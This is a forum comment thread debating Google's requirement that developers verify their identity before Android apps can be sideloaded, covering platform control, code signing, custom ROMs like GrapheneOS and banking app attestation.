Skip to content(if available)orjump to list(if available)

Google to require developer verification to install and sideload Android apps

gethly

> Google will begin to verify the identities of developers distributing their apps on Android devices, not just those who distribute via the Play Store

This is absolutely unacceptable. That's like you having to submit your personal details to Microsoft in order to just run a program on Windows. Absolutely nuts and it will not go as they think it will.

wvenable

I predict Windows will end up going this route before Google backtracks on it.

This is the future; partially fuelled by malware, partially fuelled by the desire for platform control, and partially fuelled by government regulation.

dhx

As an example of government regulation driving this change, see [1].

This regulation of NSW, Australia considers rooted devices with extra non-Google/non-Apple approved security features such as a duress/wipe PIN (a standard feature of GrapheneOS[2]) as a "dedicated encrypted criminal communication device". How the device is being used doesn't matter. It's how it _could_ be used.

[1] https://classic.austlii.edu.au/au/legis/nsw/consol_act/ca190...

[2] https://grapheneos.org/features#duress

femto

I don't know that it's that simple. Further down that section (1920) in reference [1] reads

"(3) A dedicated encrypted criminal communication device does not include-- (a) a device if-- (i) the device has been designed, modified or equipped with software or security features, and (ii) a reasonable person would consider the software or security features have been applied for a primary purpose other than facilitating communication between persons involved in criminal activity to defeat law enforcement detection,"

It's not automatic: depending on what a reasonable person thinks and the definition of criminal activity.

germandiago

At the pace of regulations we have, one day everything will be forbidden and we will all be criminals just for protecting our own wealth or security from these... yes, from these mafias.

meltyness

This is uncanny and worryingly specific, and I'm not a lawyer, but if you're not already under suspicion of being a criminal, then installing graphene doesn't match this definition I think

bloomca

Microsoft has way too much of legacy software people use, banning it all overnight will not go well at all. They understand that as well.

They tried to pull a similar move with WinRT/UWP, but nobody wanted it, so now you can continue with Win32.

They would love to do so, but legacy compatibility is a major business advantage.

wvenable

Microsoft mismanaged it but there was a potential parallel universe where they were successful at that plan and consumer versions of Windows would be locked to the Microsoft store.

They did a bunch of terrible inept rollouts with confusing technology for both users and developers and effectively shot themselves in the foot. But it did not have to go down that way.

autoexec

> Microsoft has way too much of legacy software people use, banning it all overnight will not go well at all.

A lot of legacy software was killed off with the move to 64-bit Windows. Consumers survived that and for businesses registering their software with MS isn't a problem. They're already handing Microsoft all of their company email, their documents, their spreadsheets, etc. and paying Microsoft for the privilege. MS doesn't care at all about consumers.

numpad0

They can just require hash of legacy binaries sent to Microsoft and rubberstamped back. Eventually they'll have a near comprehensive list of legacy binaries in common use, and move to block unknown binaries in circulation as "malware".

reactordev

When was the last time you opened your start menu?

RedComet

The malware excuse is just a palatable false pretense. "We have to protect granny!" Of course, she is getting fleeced by plain scam calls, not somehow sideloading apks onto her idevice, but the truth doesn't help advance their narrative.

steve_taylor

Granny can get scammed using Anydesk, available on Google Play.

Gigachad

I suspect it's not grandma getting scammed by APKs, but people installing cracked versions of spotify/youtube/paid games.

imhoguy

My mother in law is constantly worried by some Google Ads in random apps that her phone is hacked...

campground

This is the year of Linux on the Desktop!

rafark

> This is the future; partially fuelled by malware, partially fuelled by the desire for platform control, and partially fuelled by government regulation. I would say it’s really 50% platform control, 50% government regulation.

martin-t

Malware is the excuse. Control is the goal. Extracting as much money from people while providing less actual value.

The saddest part is this is to the detriment of literally everyone except a couple rich owners of those companies. And everyone has the right to vote. But western democracy is so indirect the people who understand and care have no way to change the law because their signal is lost in all the noise by those who don't know or don't care.

If the vote came down to people in favor of walled gardens or in favor of forcing companies to open their platforms, with everyone else not voting, it would be a landslide. But there's no way to vote on it this way.

chmod775

> I predict Windows will end up going this route before Google backtracks on it.

It will not happen in the next 10 years. Right now people would just make generic launchers and then use them to manually load and execute any binary they please. Options include just writing your thingy in a scripting language and run it in node.exe, python.exe, or compile it to WASM, use native bindings of a scripting language, abuse a random verified electron app, ship with and use a random vulnerably driver, etc etc.

Even remotely getting to the point where locking Windows down to that degree would be possible is going to take MS a long time, fighting friction from users all the way. The whole ecosystem would have to change drastically for that sort of control to even be possible and make sense.

The holes aren't really there because it would be so hard to close them in a vacuum, they're there because decades of software people use rely things working the old way. People aren't going to switch to a new OS on which almost nothing works anymore.

NooneAtAll3

government unregulation

Kim_Bruning

I never really got into "phone" progrmaming, always waiting for the shenanigans to die down. But somehow the shanigans have gotten worse and for a significant chunk of the world population, the phone is the only computation device they have at all.

donmcronald

I never got into it because I was convinced developers would refuse to give up control over distribution when Apple started doing it. I wish I was right, but here we are.

worldsayshi

Developers sometimes seem to be as in control as farmers are of the distribution of their produce. There's no absolute rule that gives the owners of large scale distribution networks power over both producer and consumer. It's just laws of convenience. It's easier for everyone to go through a few or just a single common broker.

There's no law against a more democratic way to implement the broker either but it requires interesting methods of coordination and/or decision making that doesn't seem to exist yet?

saganus

Money is a powerful motivator. For better or worse.

bobajeff

You now need to have an online account to setup and login on a Windows desktop. It's obvious what the trend is and it's not allowing consumers control over their stuff.

gaudystead

Not related to the OP, but no you don't.

Just look up how to skip the "OOTB (out of the box) experience" and you can still bypass having to set up a cloud account on Windows 11 and can just set up a local account like normal. :)

rmah

Software distribution control didn't start with phones, it started with game consoles.

lawlessone

i made and released some apps in the early days. Got tired of it and got tired of the reminders from google to add banners, screenshots, submitting icons to support multiple resolutions.. notifications that apps i haven't touched in decade are no longer compatible etc.

so much extra work involved that isn't building the app.

I worry how this will affect fdroid etc.

ahdanggit

Got tired of this with a few extensions I made too. It felt like every year or so they'd completely break some API and I'd have to go switch to the new one, then they wanted a privacy policy, then justification for permissions, etc etc. Wasn't worth the trouble eventually and I just let them die.

mid-kid

They have the ecosystem by the balls. Phone manufacturers in recent years have been making unlocking & modifying their devices more and more difficult, google and app developers have been cracking down harder on modded devices by implementing TPM equivalents in the hardware to sign and verify that your system is a google-appproved one, and alternatives still are decades behind in terms of app ecosystem.

I think they might just get away with it.

donmcronald

Don’t worry though, the TPM requirements in everything are for your protection.

cesarb

> and alternatives still are decades behind in terms of app ecosystem.

That's if they're available at all. In my country, only cell phones certified by the telecommunications government agency (ANATEL) can be imported, so the alternatives (Jolla, PinePhone, Fairphone) simply don't exist.

SpaghettiCthulu

If you don't mind sharing, which country is that?

chasil

Unless they give F-Droid access, the antitrust prosecution will double.

rpdillon

Yeah, I'll just ditch Google over this. The only reason I put up with their crap is because I can actually just install software on my phone. If they take that away, there's no motivation to stay.

nine_k

> the antitrust prosecution will double.

In Brazil? In Malaysia? In Singapore? I highly doubt it.

ocdtrekkie

I would say this is a bold choice for a company whose existing restrictions around third party apps and stores and in-app purchases has already been found illegal. While it doesn't look like they're pushing for it right now, forcing Google to sell Android was something the DOJ has considered as a penalty.

I'm not sure Google still has the ecosystem by the balls. It's very possible whatever Googlers who made this decision are the type of folks who don't comprehend they work for a monopoly that like actually can't do things like this anymore.

actionfromafar

Maybe they gave a political donation?

jojobas

I don't think Google can be blamed for this - their own phones are one of the last which can still be unlocked.

mid-kid

They're also the best equipped to tell if you've done so, and restrict access from critical functionality needed by many in their day-to-day lives if you've done so.

The intentions behind all the security hardware they introduced in pixel phones first, and is now required by play integrity to function might've been well-meaning, but that doesn't really matter in the end. Security features that the user can't control and bypass aren't security features - they're digital handcuffs.

ChadNauseam

true, and recently they deserved a lot of credit for publicly releasing their device trees and drivers. unfortunately, with the 10 series pixels they no longer will be releasing device trees, which makes it much more difficult to maintain custom ROMs

r1ch

This is the same direction that Microsoft is taking Windows. Smart App Control is already rolling out to some regions - no .exe will run without a code signing certificate.

https://learn.microsoft.com/en-us/windows/apps/develop/smart...

kiicia

Code signing by pseudonymous key is different that requirement to cede personal data to central registry

ozim

Code signing is somewhat OK as I can get code signing cert using provider in my country that I can go to physically and show their employee my ID.

If google does that then it’s not the worst.

Worst is having to get my ID and all details scanned and processed by Google.

tensor

I really wish Microsoft made it cheaper to get a certificate. With Apple you pay $100 a year for any number of certs. Last I looked into it a cert for a single Windows app costs $400+ per year and requires a hardware token.

evanelias

They greatly improved the situation over the past couple years. Azure Trusted Signing is only $10/month and provides cloud-based signing.

It's a huge pain to set up initially, but it's smooth sailing after that. There's a good tutorial at https://melatonin.dev/blog/code-signing-on-windows-with-azur...

baby

They did it the right way for a very long time and yet people keep buying iPhones, I think I would do the same if I were them, users clearly don't seem to care about openness and freedom to use their devices however they want. I mean, people care about the color of archaic text messages. There is nothing to save.

stronglikedan

Why would they do something to hurt the customers that stick with them, just to spite the ones that don't?

pier25

Android has like 70-80% global market share.

reissbaker

And none of that (sadly) is about openness. It's about price. The iOS share of mobile spending is basically the inverse: ~70% iOS, ~30% Android.

al_borland

> will not go as they think it will.

How will it go? Where are people going to go? People who draw a hard line on this can’t go to iOS for more freedom. Linux phones aren’t ready for prime time. So what’s left? Going back to a flip phone that doesn’t even have the capability of running apps in the same class?

nine_k

Isn't it basically the same requirement as Apple enforces for iOS? If you want to build an iOS app which other users can install, you must register (and pay).

It's a step of questionable utility, and I suspect it comes from requirements of (not exactly freedom-loving) governments of Brazil, Malaysia, and Singapore, where the demand for registration will be enforced first. Maybe it will even remain geographically limited.

The article is very light on details. Crucially, it lacks any links to actual Google documents.

bloomca

This is how macOS works, without a signature they will tell you they can't guarantee it doesn't have malware and you need to go to settings and choose to run anyway (and most people don't even know about it).

Microsoft would love to do that too, but it just has too much of legacy software to introduce such a major hurdle.

autoexec

> This is how macOS works, without a signature they will tell you they can't guarantee it doesn't have malware

Even with a signature they can't guarantee it doesn't have malware. The fact that signed malware exists should be enough to put an end to the argument that it's for our own good.

mrits

The fact that people die with helmets on motorcycles should put an end to the argument that it's for our own good.

int_19h

Microsoft does the same exact thing with SmartScreen, except that it has a whitelist for popular binaries.

tomsmeding

Is the right-click -> Open workaround not a thing any more on macOS?

thebitstick

Open -> Click away the error message -> Settings -> Privacy & Security -> Open Anyways -> Open Anyways -> Authenticate -> app actually opens

sneak

It requires a trip to a submenu in the Settings app now. You can’t do it simply or easily.

Ms-J

This is the worst thing to happen to technology in recent times since there is only two major phone OS's.

It isn't possible to ban encryption, so the governments have to chip away at security and privacy using these techniques.

From: https://developer.android.com/developer-verification

"You may also need to upload official government ID."

This won't end well for Google or the governments involved when the people get so angry that they are forced to roll this back. Switch to an alternative phone OS.

tokioyoyo

> This won't end well for Google or the governments involved when the people get so angry

The amount of people this makes angry is so minuscule that it probably wouldn’t even pass one of those theatrical “sign this petition to get the government to discuss it” thingy. Mind you, the only reason the whole side-loading court cases were going forward is because a giganormous company (Epic) wanted to make more money instead of paying the Google/Apple tax. Not because some people were angry.

lukeschlather

This is a lot more complicated than that. I'm not sure how I feel about the demand for government ID. The demand for money that comes with the app stores I find to be a problem and so does the EU, that was a big point of the DMA. It remains to be seen how those regulations play out. Maybe the DMA won't do what I want. But the DMA seems to be aimed at this sort of thing, even if it actually has the same sort of requirements around government ID, it does require openness.

e-clinton

In this instance, quantity isn’t as important. The people it upsets are a loud bunch of a great deal of influence.

crisdias

Yeah. "People" don't care.

maxerickson

What's wrong with loading an alternate OS that isn't Play Protect certified?

buildfocus

Attestation & Play Integrity is having a good go at blocking this: lots of critical software (e.g. the app required to use your bank account) requires certified attested devices, and Google are pushing hard to get as many apps as possible to activate that for "security", making non-Google Android un fixably 2nd tier in functionality.

bsimpson

Doesn't GNU/Linux also have this problem with e.g. Netflix? If you don't pass their spyware, you get shitty streams from video apps and no access to financial accounts.

glenstein

>and Google are pushing hard to get as many apps as possible to activate that for "security"

I'd be interested in further reading on Google's outreach to big banks and major finance CO's ( or others) pushing for device attestation if you have any further reading.

terminalbraid

Most vendors, including the big ones, don't play well with that. Google just revoked open sourcing the Pixel as the reference design which was the strongest option for that. Things like newer Samsungs are black boxes and everyone is actively making it harder to do anything with devices you bought and paid for.

sanex

Soon you won't be able to do this either because most manufacturers are locking down the bootloader.

kotaKat

And Google stopped providing device trees and driver binaries... and stopped releasing AOSP as often, and, and...

drpixie

It's increasingly difficult to get current hardware for which an alternative OS is available, and which is not locked.

Right now, it seems to be fairphone or pixel, or old phones which are not easy to obtain. Samsung have announced they will lock their phones, and how long before google locks pixels?

numpad0

The number of people able to do that is fewer than those willing to send in copies of overnment IDs. Phones compatible with AOSP builds are rare outside small bubbles of Pixel users as well.

null

[deleted]

wvenable

> This is the worst thing to happen to technology in recent times since there is only two major phone OS's.

I don't think that's it. The desktop OS situation has historically be similar with 2 major large players and a bunch of insignificant ones.

This comes down to user expectation.

jayofdoom

No, it's not similar.

There are two OS platforms for desktop/laptop usage: MacOS Windows

These both contain ways to run arbitrary compiled code from an arbitrary source -- like a computer should. Losing this feature of our smartphones should have everyone concerned.

wvenable

Right. The OP's point was that just having 2 major OSes is the problem but it's clearly not because we had that situation with desktops/laptops and they both allow arbitrary code.

bluescrn

> These both contain ways to run arbitrary compiled code from an arbitrary source

And they're both working towards taking that away.

For now we have Linux as a 3rd option, but that only exists so long as there's hardware available that'll let you run it. Can easily imagine a near-future where you can only get 'Windows hardware' or 'Apple hardware' and nothing modern that'll boot a 3rd-party OS.

kelnos

> This won't end well for Google or the governments involved when the people get so angry that they are forced to roll this back.

This makes me quite angry, but I guarantee more than 90% of Android users will not be bothered too much about this. Many of them will actually like it, and most of those who don't will just shrug and go on with their day.

pessimizer

> the people get so angry that they are forced to roll this back.

This is political fantasy. There is no mechanism for "the people" to force anyone to roll this back. They can vote for the candidate owned by google, or the candidate owned by google. If they want to find another candidate, they'll have to use google to find one.

rockemsockem

If enough people internal at Google get pissed off and raise this up enough it can legitimately get rolled back.

asdff

They will just get sacked for sycophants either here or abroad. For every principled worker there is, there is another person willing to eschew those principles for that paycheck. This is a desperate world by design to enable these tradeoffs by the very people who build, maintain, deploy, and ultimately control the worlds systems.

gumby271

You mean the people actively building this system? I have to assume it's decently far along for them to make this announcement.

glenstein

Agree and disagree: the pressure on unity worked, and Sonos and, IIRC on Google's "federated cohorts" idea.

But often people try to project their opinions onto "the people" and predict they will rise up, and there's probably 100 predictions in comment sections that are completely spurious to every one that actually happens

So I'm not sure, but if I had to guess this one is a rare case where there may be real prospect of backlash.

cyanydeez

I mean, you're pretty optimistic that the current fascism is going away any time soon.

logicchains

Anyone even remotely privacy or security conscious needs to vote with their wallet in protest and stop buying Android phones, otherwise it's only a matter of time 'til Google bans side-loading and it becomes impossible to buy a phone that can run any kind of anonymous or end-to-end encrypted communication software.

tgsovlerkhgsel

Stop buying Android and what? Buy an iPhone that's even more locked down or live like an outcast that can't access essential services? Because those are the realistic options.

fluoridation

For years I've been buying middle-of-the-road Android phones because they provide pretty good bang for the buck, but if I can't use a computer I paid for however the fuck I want, I'm just going to start getting the cheapest crap I can get away with and use it as little as possible. "Vote with your wallet" doesn't have to mean total abstinence.

nunclieh

>live like an outcast that can't access essential services?

I don't own a smartphone and I am happy as ever. I used to own one a while back, but it wasn't worth the effort and the rage when it was slow.

If a service can be accessed only with a smartphone, I complain (which is of little use).

endgame

It really isn't that bad. I've never owned a smartphone, and can do everything I need through websites and the occasional phone call.

jazzyjackson

Flip phones can access essential services just fine, if some business or government office is only allowing something to be done via smartphone app, that’s a problem.

itsanaccount

> live like an outcast

in all things. I would encourage you and everyone who reads this post to stare down this option with realistic consideration. In a society this broken, it is the solution to more and more things. To checkout, to accept the hard mode because to pick the path of convenience is to be exploited.

Again, and again, and again.

busymom0

What if people stopped buying brand new Android phones and instead bought used ones and then installed alternative Android versions and app stores.

logicchains

Buy Apple; the point is to hurt Google. If enough people do it, Google might reconsider. Show them that the open ecosystem is the only value Android added, and if they refuse to bring back the open ecosystem then their platform will slowly die. Won't be long until Google's as locked-down as Apple at this rate, so all Android gives you is a power-hungry OS that protect your privacy even less than iOS does.

gigel82

I'm curious what you think the alternative is, because Apple is definitely a lot worse, and we all know they're very much a duopoly.

BTW, all the GrapheneOS, etc. are still Android phones.

goda90

I'm curious if GrapheneOS or other custom Android builds would be able to avoid these restrictions reasonably.

Obviously this is going to impact the supply of apps, since the market share of custom Android is smaller than even the market share of people willing to sideload or use an alternative store on a mainstream Android phone. Many developers might quit the game.

seviu

I had a Jolla phone on my hands the other day and I must admit this…

SailfishOS is pretty nice

I might get one next

anonym29

GrapheneOS is a beautiful stop-gap, but there are real bona-fide Linux smartphones out there. To be clear, there are not many, the hardware often isn't great, the software often isn't great. PinePhone and Librem come to mind.

logicchains

The alternative is just Apple; if Google loses enough users they might reconsider. Essentially the only real advantage Android had over Apple was being a more free platform/ecosystem; if they're going to do away with that, then they should be shown that this means they'll lose a lot of users.

matheusmoreira

Utterly pointless.

Banking apps, messaging apps, streaming apps, even video games all want locked down devices. They will use hardware cryptography to discriminate against us and refuse service if they can't cryprographically prove we're using a corporate owned device.

Naughty user. Looks like you've been tampering with your device, installing unauthorized software and whatnot. Only money laundering drug trafficking child molesting terrorists do that. I'm gonna have to deny your request to log you into your bank account.

rkagerer

I've grown increasingly hateful towards both my Android and iOS devices over the last decade. The platforms themselves are increasingly user-hostile, and their appstores are crammed full of shitty, privacy-invading, telemetry-hoovering, dopamine-triggering, ad-filled, lipstick-covered apps that are often garbage compared to the pioneering days of mobile. I miss the days of my old Palm Pilot.

Is anyone working on fixing this? We can do so much better.

miloignis

GrapheneOS + F-Droid is a joy to use, for me. I'm kinda shocked when I use anyone else's phone, now.

If they start selling their own devices, I will buy one and (assuming it turns out how I hope it will) recommend it strongly.

kelnos

If an alternative, privacy-focused OS like Graphene can support contactless payments (universal, like Google Wallet does it, not having to install an app per bank or card), and can 100% reliably get around apps requiring SafetyNet (or whatever they call it now) attestation, then I'd start using it.

I'd also need an alternate, safe source for common apps like Uber, Lyft, Slack, Kindle, Doordash, my banking/credit card apps, and a host of others that I use regularly. (And, no, "just use their website" is not acceptable; their website experiences are mostly crap.)

Way long ago I used to run CyanogenMod on my Android phones, and it was trivially easy to get every single app I needed working. Now it's a huge slog to get everything working on a non-Google-blessed OS, and I expect some things I use regularly just won't work. I hate hate hate this state of affairs. It makes me feel like I don't actually own my phone. But I've gotten so used to using these apps and features that it would reduce my quality of life (I know that sounds dramatic, but I'm lacking a better way to put it) to do without.

theossuary

All of my bank apps work fine on graphene. I'd switch banks if their app stopped working, not stop using graphene. I stopped using Google wallet, I don't miss it enough to justify using stock android. For other apps, I just put them in a separate profile that has good play installed/configured. It really wasn't bad. The worst part is wiping your phone to install graphene the first time, I prefer just to get a new device for it so I can move stuff over

emidoots

Side note, I read that GrapheneOS project is having some challenges recently.. between [0]the Android kernel drivers no longer having their Git history of changes being released (only a code dump with no history) - and [1]one of Graphene's two core contributors being detained/conscripted into a war.

[0] https://grapheneos.social/@GrapheneOS/114665558894105287

[1] https://grapheneos.social/@GrapheneOS/114359660453627718

petralithic

How do you access banking and other sensitive apps? If the answer is, you don't, well, you can see how that's a non starter for the vast majority of people.

miloignis

My banking app works fine on GrapheneOS. There is a crowd-sourced list here with current status for many of them: https://privsec.dev/posts/android/banking-applications-compa...

kelnos

I love how so many of the responses in this thread are "it works for my particular bank" or "my bank's website is good enough" or "I'd only need it to deposit checks, but I never need to do that"... as if those are actually helpful responses to this general problem.

Many many people have banking apps that will not work on non-Google-blessed devices, use banks that have mobile websites that are terrible, and need to do mobile check deposits (which is usually only available in the app, and not the mobile website, if the bank even has one). And no, we're not going to "change our bank".

The reality is that there are so many things that break, sometimes in subtle ways, when you try to use an alternative Android OS. Some people may not have any problems, and that's great! But many -- I would dare to say most -- will.

And there's also a ton of uncertainty: I don't really want to wipe my phone, install GrapheneOS, spend hours messing with it and setting it up, only to find that something critical doesn't work, and now I have to flash back to the stock OS, and hope I can restore everything the way it was.

seanw444

A web browser in the worst case scenario. The same way you'd do it on a computer.

anticrymactic

Most banking app work, either directly or with a settings change to allow Google Play Service emulation. [1]

[1] https://grapheneos.org/usage#banking-apps

GeoAtreides

Second phone for all official business apps, banking, etc. Never leaves home and it's used only for this purpose

ethagnawl

What's wrong with their web apps? The only real shortcoming I can think of is depositing checks digitally but I haven't had to do that in years.

bogwog

As a GrapheneOS user, the way I access my banking app is by downloading it from the Google Play store just like everyone else.

beefnugs

Is that a jab at grapheneOS ? Because thats just another thing that google is borking up. And a little bit more so the banks themselves.

GrapheneOS is the way that all phone operating systems SHOULD be made. Layers and segregation between your banking apps and all the privacy breaking trash and malware you can get off the app store.

It is the banks and google making weird rootkit shit to try and lock down things that is the problem here.

foobar47859

Vollo from German is one https://volla.online/. They sell a nice set of devices that run either a custom Android or Ubuntu Touch. Their custom Android has a nice bunch of UI and privacy features.

Fairphone from the Netherlands is another https://www.fairphone.com/

tremon

Another one is https://murena.com/ which (IIRC) is based in France. They don't have their own hardware though, they sell partner phones with their ROM preinstalled.

margalabargala

For once Fairphone never updating their phones will work in our favor! If Google roll sthis out in early 2026, anyone with a Fairphone can rest easy that they won't receive that version of the operating system until mid-2028 at least.

worldsayshi

> Fairphone never updating their phones

I have a Fairphone and i get updates pretty frequently so not sure what you mean?

h4ck_th3_pl4n3t

Fairphones are also LineageOS and postmarketOS compatible, both options are without tracking and without Google's mandated policies.

LineageOS without gapps is really usable if you set aside the "big" social media apps. WhatsApp can be sourced from their website as an APK. The social apps like facebook, instagram, snap, tiktok and others all require Google Play's tracking services (aka gapps).

For YouTube there's multiple better alternative open source apps available, and mastodon, amethyst and the fediverse apps on f-droid are far superior in terms of performance to the Google Store alternatives.

foobar47859

The Linux Experiment podcast has a nice review of the Vollo phone https://www.youtube.com/watch?v=Dh-rIxrGXFU

BirAdam

I too miss Palm. I had a Pilot, then a Treo, and finally a Pixie. When HP bought Palm, I switched to iPhone. It was a sad day.

fzeindl

I think before we can fix all that we need to revert the renting of software via subscriptions and go back to one-time-payment. But people are too greedy for that.

cryptoegorophy

You can enjoy “good old days” from what you remember of iOS and android. I also say enjoy the LLM good new days while they last.

indrora

Windows 10 Mobile was good.

The entire developer experience was fantastic and the thing that killed it was a lack of desire from the upper leadership when it felt like they couldn't compete with the duopoly.

toast0

The developer experience was trash.

Did you have a wince app? Too bad, throw away all that and rebuild for wp7.

Do you want do anything useful? Actually, you better wait for wp7.5.

Oh look, we have a totally new thing with WP8. Upgrade to the newest framework so you can use the WP8 features... Oh, but you still need to build for the old framework for WP7. Hey, how about WP8.1, kind of the same deal.

My personal favorite though was WM10; you now need to build a Universal app that only runs on the very small number of WM10 phones... If you want to run on WP7 and WP8 which still have more sales, a universal app doesn't run there. Also, even though we said WP8 phones would be able to upgrade, either we changed our mind, or the experience is so bad most people won't. And the cherry on top... Users who upgrade from 8 to 10 might need to delete and reinstall the app, otherwise it will just show the loading dots.

Did we mention, we decided we didn't need engineers in Test in the run up to WM10? Couldn't possibly be why the release was terrible.

xyzzy_plugh

It's incredible that by the end of it, the WM rollercoaster made us actually miss WinCE. If you had have told us that initially none of us would have believed you. WM had so much potential and was just totally botched.

steve_taylor

I'm right there with you. These platforms are cancer. There's a small but growing movement away from smart phones. It'll probably never go mainstream, though.

tootie

I make a point of never installing an app when there's a usable mobile site. Even if they prompt me to install every ten seconds.

yuprock

please don't take it out on us mobile devs

hn8726

> developers will have the same freedom to distribute their apps directly to users through sideloading or to use any app store they prefer. We believe this is how an open system should work—by preserving choice while enhancing security for everyone

I guess words don't don't have meaning anymore, how can you claim to have an open system in an announcement about closing it down?

It's also telling that the big supporters of this are apparently corporations and governments. Admittedly I don't know what "Developer's Alliance" is but they don't seem to care about developers very much, and I wouldn't surprised if they were just a "pay us to say what you're doing is good for devs" kind of thing

ocdtrekkie

The Developer's Alliance address is a coworking space in Washington DC, if you want to rate the likelihood it's just an astroturf for public tech policy wonks.

mysteria

The article didn't say much about the account approval process, but from the looks of it Google will be able to arbitrarily accept and revoke applications as they see fit. So much for an open platform, bring forth the gatekeeping!

Personally I would be fine with unsigned apps requiring the user to click through a notice before install, or having a setting to toggle to enable unsigned apps. Windows does something similar to this where unsigned binaries get a pop up warning but signed ones are executed immediately.

fph

That's the first step toward banning NSFW apps like on Steam, I'm afraid.

ycombinatrix

That notice already exists. In fact there are 2 or 3 extra confirmations required to sideload apps today.

abeyer

Even aside from the privacy implications (which aren't trivial themselves,)

Doesn't this make it prohibitively difficult to do local builds of open source projects? It's been a long time since I've done this, but my recollection was that the process to do this was essentially you would build someone else's (the project's) package/namespace up through signing, but sign it locally with your own dev keys. A glance at the docs they've shared makes it sound like the package name essentially gets bound to an identity and you then can't sign it with another key. Am a I misremembering and/or has something changed in this process? Am I missing something?

ycombinatrix

Not just difficult - it becomes impossible. You can no longer develop any android app without Google's approval, just like iOS. The official emulators might not even work.

luke-stanley

A repo is just files in a directory, so the namespace can be changed, but the whole thing stinks. Having to setup Android signing keys and needing to provide ID is not fun. It means you won't easily be able to run builds on Google certified Android devices that aren't from "approved" people.

abeyer

That's where the "prohibitively difficult" part comes in... surely they don't expect every developer on every open source app in the world to have their own app registration/package name for the same app, do they? Feels like an N * M problem, if so.

luke-stanley

They are namespacing, like it or not, and clearly they don't care about open-source that much.

EMIRELADERO

So that's it then.

If this actually goes through, there will be no option in the mobile OS market for an OS that both:

a) allows the installation of apps without any contractual relationship with any party, and

b) allows the use of mainstream and secure apps like banking

CalRobert

In time, you will only be able to access banking from your desktop using an approved OS and browser with attestation...

ffsm8

For what conceivable reason would they make the users go on desktop, considering mobile is in the process of being fully locked down?

If anything, they'd eventually deny access from desktop, forcing everyone to login via the fully manages mobile devices without any user freedom.

Some banks are already getting there btw, as their preferred 2fa is a companion app... One small step away from making that the only option, effectively denying access to anyone without a locked down mobile device.

crvdgc

A recent real life example:

You can apply for an HSBC Global Money Account if you have: […] The HSBC UK Mobile Banking app (Global Money is only available via the app)

From https://www.hsbc.co.uk/current-accounts/products/global-mone...

blendergeek

What gp is saying is that to access banking form desktop will require an approved OS and attestation just like on mobile. The current state of affairs is that an approved OS and attestation are only required on mobile but not on desktop

saurik

I think they worded that poorly, but didn't mean what you got from it: the point I'd take isn't that they will require you to have a desktop, but that even desktop will also have the same restrictions, so it isn't just a mobile problem.

homebrewer

It's already that way in my country. The few banks that still have the web version only support it for their business clients, and it's only something like two or three banks. If you're a regular client, there's not a single bank left that you can still use without a smartphone (unless you're ready to visit a branch for every little thing — so pretty much daily).

slyzmud

Actually my bank already requires me to use the phone app for any operation on the website. When I want to login from my laptop I need to use my phone with their app to approve the login, same for almost any operation.

Ah, and it can only be installed in one device at the same time :D Don't have your phone available? Bad luck for you

BLKNSLVR

> can only be installed in one device at the same time

I neither like nor understand this restriction. It makes device failure / loss / theft a much more difficult experience to recover from than it would otherwise be. The device should be throwaway. I specifically keep old phones in case something happens to the new one.

WhatsApp is probably the stupidest example of only being able to be on a single device (but I'm forced to use WhatsApp for one specific purpose, so I already resent it). Signal does the same thing, so maybe it's related to the E2EE that WhatsApp licensed from Signal...

al_borland

I have a huge problem with companies using their own apps for 2FA.

Google started doing this for Gmail. To use Gmail on my laptop, I need to approve it with Gmail on my phone. I never signed up for this. I’m now afraid if I delete the Gmail app from my phone that I’ll lose access to my email.

I hate the direction “security” is taking us. It’s done in the name of security, but it feels more like blackmail to get and keep the company app on your phone.

tgsovlerkhgsel

De facto, this is already the case - you can use your computer as a display but to actually authorize a login or transaction you need your phone with said attestation.

arp242

Not true for either my AIB or Wise account.

Night_Thastus

A dedicated app on a locked down OS is vastly more controllable than something like a browser that can do virtually whatever it wants.

tremon

Controllable by whom? I don't do any banking on my phone exactly because I don't trust my phone to keep anything I do on my phone private.

prism56

I'll just have to disable it and choose a banking app that works on the browser. Tonnes of my apps are sideloaded. Quite a few are on the playstore or the dev might upload their details.

87636899376

Official announcement: https://android-developers.googleblog.com/2025/08/elevating-...

More info:

https://developer.android.com/developer-verification

https://support.google.com/googleplay/android-developer/answ...

Personally...we all know the Play Store is chock full of malicious garbage, so the verification requirements there don't do jack to protect users. The way I see it, this is nothing but a power grab, a way for Google to kill apps like Revanced for good. They'll just find some bullshit reason to suspend your developer account if you do something they don't like.

Every time I hear mentions of "safety" from the folks at Google, I'm reminded that there's a hidden Internet permission on Android that can neuter 95% of malicious apps. But it's hidden, apparently because keeping users from using it to block ads on apps is of greater concern to Google than keeping people safe.

> we will be confirming who the developer is, not reviewing the content of their app or where it came from

This is such an odd statement. I mean, surely they have to be willing to review the contents of apps at some point (if only to suspend the accounts of developers who are actually producing malware), or else this whole affair does nothing but introduce friction.

TFA had me believing that bypassing the restriction might've been possible by disabling Play Protect, but that doesn't seem to be the case since there aren't any mentions of it in the official info we've been given.

On the flip side, that's one less platform I care about supporting with my projects. We're down to just Linux and Windows if you're not willing to sell your soul (no, I will not be making a Google account) just for the right to develop for a certain platform.

EasyMark

It's never about security (at least not user's security). It's like you pointed out only about power and locking in customers. They don't care if your phone gets hacked or you bank account drained. They care about the bottom line. Android is fine. Google should have 2 layers if they're worried playstore 1 has only well vetted authors and apps. playstore 2 can be the free for all (mostly) of the current store. These could be two different apps or prominent tags. Choice is good, lock down is bad. Corporate does not like employees or customers to have freedom, that's why it's our duty to fire people like the current US regime who always side with corporations over customers.

skybrian

This is a drastic response, but they didn't make up the security threat. Attackers convincing users to side-load malware is a thing.

https://www.bitdefender.com/en-us/blog/hotforsecurity/hacker...

UncleMeat

> Every time I hear mentions of "safety" from the folks at Google, I'm reminded that there's a hidden Internet permission on Android that can neuter 95% of malicious apps. But it's hidden, apparently because keeping users from using it to block ads on apps is of greater concern to Google than keeping people safe.

You've never needed the internet permission to exfiltrate data. Just send an intent to the browser app to load a page owned by the attacker with the data to be exfilled in the query parameters.

gumby271

Wouldn't that launch the browser app and bring it to the foreground? I wouldn't compare that to having full network access.

UncleMeat

It'd launch the browser app. You can have your evil page redirect to a benign page so it just looks like Chrome randomly opened or whatever. It is not as powerful as full network access as you can only send so much information in query parameters, but if you are doing some phishing or stealing sms 2fa codes or whatever then it is plenty to send back whatever payload you wanted to.

And of course basically every app requires internet permissions for ordinary behavior. The world where an explicit internet permission would somehow get somebody to look askance at some malware that they were about to download is just not believable.

zozbot234

> had me believing that bypassing the restriction might've been possible by disabling Play Protect, but that doesn't seem to be the case since there aren't any mentions of it in the official info we've been given.

